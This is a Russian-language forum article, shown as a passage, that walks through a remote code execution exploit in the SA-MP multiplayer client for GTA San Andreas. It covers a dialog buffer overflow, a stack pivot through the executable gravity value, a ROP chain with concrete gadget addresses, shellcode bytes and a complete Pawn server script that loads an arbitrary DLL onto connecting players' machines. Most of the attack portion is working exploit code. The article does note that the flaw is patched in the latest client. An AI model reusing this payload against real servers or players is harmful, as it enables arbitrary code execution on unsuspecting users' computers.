Также хочется отметить одну особенность SA-MP: у него есть фича изменения гравитации, т.е. с сервера можно установить произвольное значение. Как это реализовано? Очень просто - клиент просто записывает полученное значение по статическому адресу в самой игре. Вот только есть одна маленькая, но очень важная мелочь: при этом зачем-то устанавливается возможность исполнения этого кода. Т.к. гравитация это float, т.е. 4 байта, мы можем записать 4 байта исполняемого кода по известному нам адресу. Казалось бы, это всего лишь 4 байта, но к ним мы тоже вернёмся чуть позже и, поверьте, они сыграют решающую роль.
А сейчас о более насущных проблемах. Итак, на данном этапе мы можем выйти за границы буфера на стеке, перезаписать адрес возврата, тем самым можем прыгнуть на любой известный статический адрес и не более. Мы пока что не можем ни записать свой код, ни тем более вызвать его. Но мы можем вызывать уже существующий в игре код! А точнее, только необходимые нам фрагменты. Эта техника называется ROP, то бишь Return-Oriented Programming. Например, у нас по адресу 0x00555550 находятся вот такие инструкции: pop ecx; ret; а по адресу 0x00444440 находится pop edi; ret; Пользуясь нашим переполнением буфера, мы записываем на стек следующее:
0x00555550, 0x00000011, 0x00444440, 0x00000022
При этом произойдёт вот что:
1) Когда исполнится инструкция ret в нашей CDialog::GetTextScreenLength, произойдёт переход по адресу 0x00555550, регистр esp будет указывать на значение 0x00000011
2) По адресу 0x00555550 исполнится инструкция pop ecx, т.е. из стека достанется значение и присвоится в регистр ecx. А что у нас там на вершине стека? Правильно, 0x00000011, значит это значение и запишется в регистр ecx, а регистр esp сметится ниже на значение 0x00444440
3) Дальше исполнится инструкция ret. Произойдёт переход по адресу 0x00444440, регистр esp будет указывать на 0x00000022
4) По адресу 0x00444440 исполнится инструкция pop edi, в регистр edi присвоится значение 0x00000022
и т.д.
Таким образом, с помощью таких цепочек, именуемых rop chains, мы можем манипулировать регистрами, а также вызывать другие необходимые нам команды, в частности, на копирование данных из одной области памяти в другую. Сами вызываемые фрагменты кода именуются гаджетами, и главная здесь сложность - найти подходящие гаджеты среди всего кода игры. Специально для поиска гаджетов созданы такие инструменты как radare2, ROPgadget и другие, но мы не будем их рассматривать в рамках этой статьи.
Но у нас есть другая проблема, не позволяющая нам записывать нули в строку, а для rop chain'ов они нам нужны. Для решения этой (и не только) проблемы используется приём, называемый stack pivoting, заключающийся в изменении значения esp. Как вариант, мы можем разместить наши rop chains в более подходящем месте, а затем подменить esp на это самое "подходящее место". Вопрос: как подменять esp? Ответ: всё так же, с помощью гаджета. В совокупности найти подходящее место для rop chains и найти подходящий гаджет для stack pivoting может быть самой сложной задачей, возможно даже без решения, и, как следствие, без возможности реализовать уязвимость, но у нас здесь уникальный случай.
Помимо самого текста диалога, в RPC ещё передаётся строка заголовка и строки левой и правой кнопки. Если изучить код обработчика RPC_ShowDialog можно заметить, что там происходит чтение заданного количества байт из битстрима в локальный массив. Длина при этом ограничена 256 символами, и неограничена присутствием нулевых символов. Отлично, можно спокойно использовать один из этих трёх массивов, я возьму caption. Теперь вопрос - как добраться до него на стеке? В этом нам поможет регистр ebp. Из всей цепочки вызовов RPC_ShowDialog -> CDialog::Open -> CDialog::PrepareListbox -> CDialog::GetTextScreenLength сохранение esp в ebp происходит в CDialog::PrepareListbox, т.е. в ebp хранится значение esp из CDialog::Open в момент вызова CDialog::PrepareListbox. IDA может нам слегка подсказать, где находится указатель на caption относительно esp в CDialog::Open:
Но не спешите расслабляться. В процессе своей работы CDialog::Open сохраняет на стеке значения одного из регистров (+1), пушит 2 аргумента в CDialog::PrepareListbox (+2), вызывает её (+1), и сама CDialog::PrepareListbox сохраняет на стек регистр ebp (+1). Т.е. у нас сохранённый esp ещё был сдвинут вверх на 5 позиций, а, значит, к 0x28 надо прибавить 5 раз по 4, т.е. 0x14. Получим 0x3C.
Можно посчитать и другим путём, включив в IDA отображение в листинге указателя стека:
Прибавить к нему сдвиг при call (+0x4), push ebp в вызванной функции (ещё +0x4), и прибавить сдвиг на сам caption:
Итого 0x28+0x4+0x4+0xC=0x3C.
Но вообще, я бы не рекомендовал считать таким образом, т.к. тут легко ошибиться и пропустить что-либо. Гораздо лучше вычислить сдвиг эмпирическим путём: взять отладчик, поставить брикпоинт, отправить диалог с неким текстом в caption, при срабатывании брикпоинта пролистать окно стека и найти там указатель на caption по указанному ранее тексту, посчитать разницу между ним и значением ebp.
Итак, чтобы выставить esp на массив caption, нам нужно:
Код:
mov esp, dword ptr [ebp+0x3c]
Для преобразования ассемблерного кода в машинные коды я буду использовать этот сайт. Получим следующий код:
Код:
0: 8b 65 3c mov esp,DWORD PTR [ebp+0x3c]
3: c3 ret
Код:
0: 90 nop
1: 8b 65 3c mov esp,DWORD PTR [ebp+0x3c]
Что ж, обновим наш filterscript, а именно:
1. Запишем в переполняющую строку text адрес гравитации, где у нас гаджет с stack pivoting.
2. Вместо текста запишем в caption произвольный адрес (в дальнейшем там у нас будут rop chains).
3. Напишем функцию установки гравитации игроку через Pawn.RakNet. Также реализуем отправку RPC гравитации и диалога в отдельном канале очередёности с гарантией доставки RELIABLE_ORDERED, чтобы RPC пришли строго в порядке отправления, и укажем низкий приоритет (это будет полезно в будущем).
Код:
#define FILTERSCRIPT
#include <a_samp>
#include <Pawn.RakNet>
new const RPC_ShowDialog = 61;
new const RPC_ScrSetGravity = 146;
new payload1[] =
{
// +0 +1 +2 +3 +4 +5 +6 +7 +8 +9 +10 +11 +12 +13 +14 +15
/* 000 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 016 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 032 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 048 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 064 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 080 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 096 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 112 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 128 */ 0x20, 0x20, 0x20, 0x20, 0x84, 0x39, 0x86, 0x00
};
new payload2[] =
{
0x66, 0x77, 0x88, 0x99
};
new BitStream:payload_bs;
public OnFilterScriptInit()
{
payload_bs = BS_New();
BS_WriteUint16(payload_bs, 1); // dialog id
BS_WriteUint8(payload_bs, DIALOG_STYLE_LIST); // style
BS_WriteUint8(payload_bs, sizeof(payload2)); // caption length
for(new i = 0; i < sizeof(payload2); i++) // caption
{
BS_WriteUint8(payload_bs, payload2[i]);
}
BS_WriteString8(payload_bs, "left button"); // left button
BS_WriteString8(payload_bs, "right button"); // right button
BS_WriteCompressedString(payload_bs, payload1); // text
}
public OnFilterScriptExit()
{
BS_Delete(payload_bs);
}
public OnPlayerCommandText(playerid, cmdtext[])
{
if(!strcmp("/aasd1", cmdtext, true))
{
PerformRCE(playerid);
return 1;
}
return 0;
}
PerformRCE(playerid)
{
SetPlayerGravity(playerid, Float:0x3C658B90);
PR_SendRPC(payload_bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
SetPlayerGravity(playerid, 0.008);
}
SetPlayerGravity(playerid, Float:gravity)
{
new BitStream:bs = BS_New();
BS_WriteFloat(bs, gravity);
PR_SendRPC(bs, playerid, RPC_ScrSetGravity, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
BS_Delete(bs);
}
Отлично! Самое сложное позади, теперь мы можем перейти к этапу разработки rop chains и первичного шелла.
Этап 3. Разработка
Теперь перед нами стоит 2 задачи. Первая - нам надо найти такую последовательность гаджетов, которая скопирует нам шеллкод со стека в исполняемую память. Вторая - собственно, написать этот шеллкод, его мы будем размещать следом за гаджетами в caption. Нужно помнить, что мы ограничены 256 байтами, а шеллкод должен помочь нам развернуть более крупный код, нежели пару сотен байт.
Для копирования участков памяти используются инструкции rep movsb/movsw/movsd. В регистр edi помещается адрес куда копировать, в регистр esi - откуда, в регистр ecx - кол-во итераций. Значит нам нужно найти примерно 4 гаджета. Начнём с поиска гаджета для копирования. Просмотрев все подобные инструкции в коде игры, нашёлся один такой, который оказался очень интересен:
Тут у нас заодно очень удобно устанавливается регистр esi, причём туда загружается адрес со стека. Как раз то, что нам нужно, и одним гаджетом на установку esi меньше.
Начнём записывать наш rop chain. Установим адрес возврата на инструкцию lea:
Код:
0x005B2EE6
Код:
0x005B2EE6 // rep movsd gadget
0x00000000 // edi value
0x00000000 // esi value
Код:
0x005B2EE6 // rep movsd gadget
0x00000000 // edi value
0x00000000 // esi value
0x00866000 // ret to dst
Код:
lea esi, [esp+0x10]
Код:
(esp-0x04) 0x005B2EE6 // rep movsd gadget
(esp+0x00) 0x00000000 // edi value
(esp+0x04) 0x00000000 // esi value
(esp+0x08) 0x00866000 // ret to dst
(esp+0x0C) ...
(esp+0x10) ...
Код:
0x005B2EE6 // rep movsd gadget
0x00000000 // edi value
0x00000000 // esi value
0x00866000 // ret to dst
0x00000000 // pad
(shellcode here)
Код:
0x00402E8D // pop edi gadget
0x00866000 // edi value
0x005B2EE6 // rep movsd gadget
0x00000000 // edi value
0x00000000 // esi value
0x00866000 // ret to dst
0x00000000 // pad
(shellcode here)
Код:
0x00402715 // pop ecx gadget
0x000000?? // ecx value
0x00402E8D // pop edi gadget
0x00866000 // edi value
0x005B2EE6 // rep movsd gadget
0x00000000 // edi value
0x00000000 // esi value
0x00866000 // ret to dst
0x00000000 // pad
(shellcode here)
Код:
0x00402715 // pop ecx gadget
0x00000037 // ecx value
0x00402E8D // pop edi gadget
0x00866000 // edi value
0x005B2EE6 // rep movsd gadget
0x00000000 // edi value
0x00000000 // esi value
0x00866000 // ret to dst
0x00000000 // pad
(shellcode here)
Наша первая задача с rop chains решена, перейдём ко второй - написанию этого самого шеллкода. И здесь нас ждут две, так сказать, подзадачи. Во-первых, после всех этих манипуляций у нас "сломан" стек, мы должны его вернуть в корректное состояние и осуществить корректное дальнейшее исполнение программы, будто бы ничего и не было. Ну и во-вторых, загрузить более объёмный код и исполнить его.
Напомню, что у нас была следующая цепочка вызовов: RPC_ShowDialog -> CDialog::Open -> CDialog::PrepareListbox -> CDialog::GetTextScreenLength. Вместо возврата в CDialog::PrepareListbox мы перешли в выполнение нашего шеллкода. Логично было бы вернуться обратно непосредственно в CDialog::PrepareListbox, но, во-первых, в этом нет необходимости (т.к. там нет ничего важного, что требовало бы возвращения туда), а во-вторых для простоты реализации мы будем "мимикрировать" под CDialog::PrepareListbox и в конце вернём управление в CDialog::Open.
Для начала нам надо выставить указатель на стек туда, где он должен был быть при возвращении из CDialog::GetTextScreenLength. В этом нам снова поможет регистр ebp, только теперь надо посчитать оффсет в другую сторону. Снова обратимся к подсказкам IDA Pro:
В момент после вызова CDialog::GetTextScreenLength стек у CDialog::PrepareListbox смещён на 0x12C, но т.к. мы будем восстанавливаться относительно ebp, а CDialog::PrepareListbox в самом начале сохраняет предыдущее значение ebp на стек, сдвигая тем самым стек на 4 байта, то мы должны отнять у 0x12C эти 4 байта и получим 0x128. Значит, первая инструкция по восстановлению указателя на стек в нашем шеллкоде будет иметь вид:
Код:
lea esp, [ebp-0x128]
Код:
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
retn 8
Код:
mov dword ptr [0x00B7CE50], 1137
Код:
lea esp, [ebp-0x128]
mov dword ptr [0x00B7CE50], 1137
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
Обновим наш filterscript:
Код:
#define FILTERSCRIPT
#include <a_samp>
#include <Pawn.RakNet>
new const RPC_ShowDialog = 61;
new const RPC_ScrSetGravity = 146;
new payload1[] =
{
// +0 +1 +2 +3 +4 +5 +6 +7 +8 +9 +10 +11 +12 +13 +14 +15
/* 000 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 016 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 032 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 048 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 064 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 080 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 096 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 112 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 128 */ 0x20, 0x20, 0x20, 0x20, 0x84, 0x39, 0x86, 0x00
};
new payload2[] =
{
0x15, 0x27, 0x40, 0x00, // pop ecx gadget
0x37, 0x00, 0x00, 0x00, // ecx value
0x8D, 0x2E, 0x40, 0x00, // pop edi gadget
0x00, 0x60, 0x86, 0x00, // edi value
0xE6, 0x2E, 0x5B, 0x00, // rep movsd gadget
0x00, 0x00, 0x00, 0x00, // edi value
0x00, 0x00, 0x00, 0x00, // esi value
0x00, 0x60, 0x86, 0x00, // ret to dst
0x00, 0x00, 0x00, 0x00, // pad
0x8D, 0xA5, 0xD8, 0xFE, 0xFF, 0xFF, 0xC7, 0x05, 0x50, 0xCE, 0xB7, 0x00, 0x71, 0x04, 0x00, 0x00, 0x5F,
0x5E, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x5B, 0x89, 0xEC, 0x5D, 0xC2, 0x08, 0x00
};
new BitStream:payload_bs;
public OnFilterScriptInit()
{
payload_bs = BS_New();
BS_WriteUint16(payload_bs, 1); // dialog id
BS_WriteUint8(payload_bs, DIALOG_STYLE_LIST); // style
BS_WriteUint8(payload_bs, sizeof(payload2)); // caption length
for(new i = 0; i < sizeof(payload2); i++) // caption
{
BS_WriteUint8(payload_bs, payload2[i]);
}
BS_WriteString8(payload_bs, "left button"); // left button
BS_WriteString8(payload_bs, "right button"); // right button
BS_WriteCompressedString(payload_bs, payload1); // text
}
public OnFilterScriptExit()
{
BS_Delete(payload_bs);
}
public OnPlayerCommandText(playerid, cmdtext[])
{
if(!strcmp("/aasd1", cmdtext, true))
{
PerformRCE(playerid);
return 1;
}
return 0;
}
PerformRCE(playerid)
{
SetPlayerGravity(playerid, Float:0x3C658B90);
PR_SendRPC(payload_bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
SetPlayerGravity(playerid, 0.008);
}
SetPlayerGravity(playerid, Float:gravity)
{
new BitStream:bs = BS_New();
BS_WriteFloat(bs, gravity);
PR_SendRPC(bs, playerid, RPC_ScrSetGravity, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
BS_Delete(bs);
}
Всё работает! Правда, остаётся открытым пустой диалог. Но SA-MP позволяет закрыть любой открытый диалог, отправив диалог с отрицательным id. Воспользуемся этим. Здесь мы также не будем пользоваться нативной функцией, а напишем свою, чтобы отправлять RPC в отдельном канале очерёдности:
Код:
HidePlayerDialog(playerid)
{
new BitStream:bs = BS_New();
BS_WriteUint16(bs, -1); // id
BS_WriteUint8(bs, DIALOG_STYLE_MSGBOX); // style
BS_WriteString8(bs, " "); // caption
BS_WriteString8(bs, ""); // left button
BS_WriteString8(bs, ""); // right button
BS_WriteCompressedString(bs, " "); // text
PR_SendRPC(bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
BS_Delete(bs);
}
Этап 4.
Теперь нам предстоит выполнить что-то посерьёзнее. Например, загрузить и запустить .exe или подгрузить .dll. Рассмотрим вариант с dll. Традиционно, здесь нас ждёт ряд проблем, которые нам предстоит решить. Итак, WinAPI функция LoadLibrary не позволяет произвести загрузку напрямую из памяти, она может загружать только из файла. Можно из шеллкода создавать файл, помещать туда содержимое, а затем подгружать его. Но такое поведение может не понравится антивирусам и другим системам защиты, и в общем случае работать ненадёжно и нестабильно, так что отложим этот вариант. Есть способы подгрузки dll из памяти, однако они весьма сложны и объёмны, реализация этих способов так же не поместится в доступные нам ~200 байт. Можно скомпилировать dll таким образом, чтобы она не использовала импорты и размещала свой код по фиксированному адресу, а затем брать этот код и размещать его в доступные области памяти самой игры по тем же адресам. Этот вариант имеет право на жизнь и даже рабочий, но крайне неудобный и ограничивающий. К счастью, с этой проблемой сталкивались и другие разработчики, а поэтому уже есть готовое решение, под названием sRDI. В рамках этой статьи я не буду вдаваться в подробности и принципы работы данного решения, лишь вкратце озвучку необходимую для нас важную информацию. Этот инструмент модифицирует dll таким образом, чтобы она сама загрузилась, при этом достаточно передать управление первому её байту.
Значит, теперь перед нами стоит вполне конкретная задача: передать саму dll, выделить под неё память с правами записи и исполнения, скопировать туда, вызвать. Главный вопрос здесь в том, как именно передать с сервера на клиент килобайты или даже мегабайты потенциальной dll. Да всё максимально просто, можно просто записать её в конец битстрима RPC ShowDialog! Т.к. там записывается в конце сжатый text, необходимо выровнять по байту указатель на запись. Теперь задача стала ещё конкретнее и яснее: в нашем шеллкоде необходимо выделить память, скопировать туда данные из битстрима, вызвать. Также неплохо было бы, чтобы наш шеллкод сам определял, какого размера у нас dll и выделял соответствующий объём памяти. Что ж, приступим.
Сперва нам надо добраться до битстрима. Помните, в гаджете для stack pivoting мы добирались до указателя на caption через ebp? Этот caption был во стекфрейме обработчика RPC ShowDialog. Объект битстрима находится там же. Посмотрим:
Да он прям перед этим caption и лежит!
Код:
mov eax, [ebp+0x3c]
sub eax, 0x118
Подглядеть как выполняется перевод из бит в байты можно в исходниках RakNet:
Код:
#define BITS_TO_BYTES(x) (((x)+7)>>3)
Код:
;# get bitstream
mov eax, [ebp+0x3c] ;# caption
sub eax, 0x118 ;# bitstream
mov ecx, [eax] ;# numberOfBitsUsed
mov edx, [eax+0x8] ;# readOffset
mov esi, [eax+0xC] ;# data ptr
add ecx, 7 ;# numberOfBitsUsed bits to bytes
shr ecx, 3
add edx, 7 ;# readOffset bits to bytes
shr edx, 3
sub ecx, edx ;# numberOfBitsUsed - readOffset = dll size
add esi, edx ;# data ptr + readOffset = dll ptr
Код:
LPVOID __stdcall VirtualAlloc(LPVOID lpAddress, DWORD dwSize, DWORD flAllocationType, DWORD flProtect)
Код:
;# call VirtualAlloc
push ecx ;# save ecx
push 0x40 ;# flProtect = PAGE_EXECUTE_READWRITE
push 0x3000 ;# flAllocationType = MEM_COMMIT | MEM_RESERVE
push ecx ;# dwSize = dll size
push 0 ;# lpAddress = 0
mov eax, dword ptr [0x008581A4] ;# get VirtualAlloc
call eax ;# call VirtualAlloc
mov edi, eax
pop ecx ;# restore ecx
Код:
rep movsb
Код:
call eax
Код:
;# repair stack
lea esp, [ebp-0x128]
;# get bitstream
mov eax, [ebp+0x3c] ;# caption
sub eax, 0x118 ;# bitstream
mov ecx, [eax] ;# numberOfBitsUsed
mov edx, [eax+0x8] ;# readOffset
mov esi, [eax+0xC] ;# data ptr
add ecx, 7 ;# numberOfBitsUsed bits to bytes
shr ecx, 3
add edx, 7 ;# readOffset bits to bytes
shr edx, 3
sub ecx, edx ;# numberOfBitsUsed - readOffset = dll size
add esi, edx ;# data ptr + readOffset = dll ptr
;# call VirtualAlloc
push ecx ;# save ecx
push 0x40 ;# flProtect = PAGE_EXECUTE_READWRITE
push 0x3000 ;# flAllocationType = MEM_COMMIT | MEM_RESERVE
push ecx ;# dwSize = dll size
push 0 ;# lpAddress = 0
mov eax, dword ptr [0x008581A4] ;# get VirtualAlloc
call eax ;# call VirtualAlloc
mov edi, eax
pop ecx ;# restore ecx
;# copy dll
rep movsb
;# execute dll
call eax
;# epilogue
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
Для проверки работоспособности я предлагаю написать простенький asi-мод, модифицировать с помощью sRDI, прочитать из pawn и записать его в битстрим. Пусть это будет тоже самое изменение денег, но уже из asi:
Код:
#include <Windows.h>
VOID CALLBACK MainTimer(HWND hwnd, UINT message, UINT idTimer, DWORD dwTime)
{
*(DWORD*)0x00B7CE50 = 1137;
KillTimer(NULL, 0);
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReasonForCall, LPVOID lpReserved)
{
switch (dwReasonForCall)
{
case DLL_PROCESS_ATTACH:
SetTimer(NULL, 0, 1000, (TIMERPROC)MainTimer);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Обновим наш filterscript, вставив новый шеллкод и добавив чтение dll из файла и запись в битстрим, не забыв при этом сделать выравнивание:
Код:
#define FILTERSCRIPT
#include <a_samp>
#include <Pawn.RakNet>
new const RPC_ShowDialog = 61;
new const RPC_ScrSetGravity = 146;
new payload1[] =
{
// +0 +1 +2 +3 +4 +5 +6 +7 +8 +9 +10 +11 +12 +13 +14 +15
/* 000 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 016 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 032 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 048 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 064 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 080 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 096 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 112 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 128 */ 0x20, 0x20, 0x20, 0x20, 0x84, 0x39, 0x86, 0x00
};
new payload2[] =
{
0x15, 0x27, 0x40, 0x00, // pop ecx gadget
0x37, 0x00, 0x00, 0x00, // ecx value
0x8D, 0x2E, 0x40, 0x00, // pop edi gadget
0x00, 0x60, 0x86, 0x00, // edi value
0xE6, 0x2E, 0x5B, 0x00, // rep movsd gadget
0x00, 0x00, 0x00, 0x00, // edi value
0x00, 0x00, 0x00, 0x00, // esi value
0x00, 0x60, 0x86, 0x00, // ret to dst
0x00, 0x00, 0x00, 0x00, // pad
0x8D, 0xA5, 0xD8, 0xFE, 0xFF, 0xFF, 0x8B, 0x45, 0x3C, 0x2D, 0x18, 0x01, 0x00, 0x00, 0x8B, 0x08, 0x8B,
0x50, 0x08, 0x8B, 0x70, 0x0C, 0x83, 0xC1, 0x07, 0xC1, 0xE9, 0x03, 0x83, 0xC2, 0x07, 0xC1, 0xEA, 0x03,
0x29, 0xD1, 0x01, 0xD6, 0x51, 0x6A, 0x40, 0x68, 0x00, 0x30, 0x00, 0x00, 0x51, 0x6A, 0x00, 0xA1, 0xA4,
0x81, 0x85, 0x00, 0xFF, 0xD0, 0x89, 0xC7, 0x59, 0xF3, 0xA4, 0xFF, 0xD0, 0x5F, 0x5E, 0xB8, 0x01, 0x00,
0x00, 0x00, 0x5B, 0x89, 0xEC, 0x5D, 0xC2, 0x08, 0x00
};
new BitStream:payload_bs;
new payload_array[21111];
public OnFilterScriptInit()
{
payload_bs = BS_New();
BS_WriteUint16(payload_bs, 1); // dialog id
BS_WriteUint8(payload_bs, DIALOG_STYLE_LIST); // style
BS_WriteUint8(payload_bs, sizeof(payload2)); // caption length
for(new i = 0; i < sizeof(payload2); i++) // caption
{
BS_WriteUint8(payload_bs, payload2[i]);
}
BS_WriteString8(payload_bs, ""); // left button
BS_WriteString8(payload_bs, ""); // right button
BS_WriteCompressedString(payload_bs, payload1); // text
// align
new offset;
BS_GetWriteOffset(payload_bs, offset);
BS_SetWriteOffset(payload_bs, PR_BYTES_TO_BITS(PR_BITS_TO_BYTES(offset)));
// dll
new File:fi = fopen("test.asi");
new payload_len = flength(fi);
if(payload_len > sizeof(payload_array) * 4)
{
printf("ERROR! Not enough space to read! %d needed", payload_len / 4);
}
else
{
fblockread(fi, payload_array);
printf("SUCC READ PAYLOAD of %d bytes", payload_len);
for(new i = 0; i < payload_len / 4; i++)
{
BS_WriteUint32(payload_bs, payload_array[i]);
}
}
fclose(fi);
}
public OnFilterScriptExit()
{
BS_Delete(payload_bs);
}
public OnPlayerCommandText(playerid, cmdtext[])
{
if(!strcmp("/aasd1", cmdtext, true))
{
PerformRCE(playerid);
return 1;
}
return 0;
}
PerformRCE(playerid)
{
SetPlayerGravity(playerid, Float:0x3C658B90);
PR_SendRPC(payload_bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
HidePlayerDialog(playerid);
SetPlayerGravity(playerid, 0.008);
}
SetPlayerGravity(playerid, Float:gravity)
{
new BitStream:bs = BS_New();
BS_WriteFloat(bs, gravity);
PR_SendRPC(bs, playerid, RPC_ScrSetGravity, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
BS_Delete(bs);
}
HidePlayerDialog(playerid)
{
new BitStream:bs = BS_New();
BS_WriteUint16(bs, -1); // id
BS_WriteUint8(bs, DIALOG_STYLE_MSGBOX); // style
BS_WriteString8(bs, " "); // caption
BS_WriteString8(bs, ""); // left button
BS_WriteString8(bs, ""); // right button
BS_WriteCompressedString(bs, " "); // text
PR_SendRPC(bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
BS_Delete(bs);
}
Заключение
Что ж, благодарю, что прочитали данную статью. Буду рад вашим комментариям, замечаниям, вопросам. В заключение отмечу, что написанный шеллкод будет работать на всех ревизиях 0.3.7, т.к. в них нет отличий в тех функциях, с которыми мы работали. Судя по всему, данная уязвимость появилась с момента появления системы диалогов, то есть с версии 0.3a (2009), и на данный момент уже исправлена в последней версии клиента R5 (2022). Конечно, фикс можно реализовать и для других версий с помощью тех же модов asi или даже lua. Строго рекомендуется использовать последнюю версию SA-MP со всеми исправлениями, а также не заходить на те сервера, которые вызывают у вас подозрение и которым вы не доверяете.
P.S. понравилась статья? будьте на связи, у меня для вас есть ещё кое-что интересное ;)
Последнее редактирование: